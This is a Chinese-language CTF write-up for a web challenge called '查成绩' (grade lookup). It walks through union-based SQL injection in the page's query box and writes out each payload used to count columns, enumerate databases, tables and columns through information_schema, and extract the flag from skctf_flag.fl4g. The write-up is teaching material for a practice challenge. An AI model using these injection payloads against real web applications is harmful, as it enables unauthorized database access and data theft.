ctf | web 查成绩

这是一道练习SQL注入非常好的题，加上楼主最近也在看SQL注入，就和大家一起分享这道题。

先上图

我们先随便输两个数上去，发现并没有什么异常，数据库里有三个同学的成绩。我们还是按步骤来，源码，抓包，但是都无果。

            我们再来仔细观察这个页面，这是一个查询界面，是不是可以查到flag呢？不同于以往在浏览器搜索栏里注入，我们在页面的查询框里直接注入，先试试?id=1' 查询不到页面，再试试联合注入 ?id=-1' union select 1,2,3#

发现还是没有，但是当我们觉得方法路子是对的时候一定要多尝试，但如果路子不对，那努力就是白费。

但是这一题，显然我们的路子是对的，我们在后面多加个4。 ?id=-1' union select 1,2,3,4#

哈哈哈，我们的注入点出来啦！

下面就是走个流程了，代码在下面。

先查库：?id=-1' union select 1,group_concat(schema_name),3,4 from information_schema.schemata#

(?id=-1' union select 1,database(),3,4#)

选择skctf_flag

再查表：?id=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="skctf_flag"#

选择fl4g

再查列：?id=-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="fl4g"#

列和库重名，但是没关系。

最后我们查这一列的数据：?id=-1' union select 1,group_concat(skctf_flag),3,4 from skctf_flag.fl4g#

这道题到这就结束了，代码尽量自己手打，增强理解。

喜欢的朋友不要忘了点个关注哦！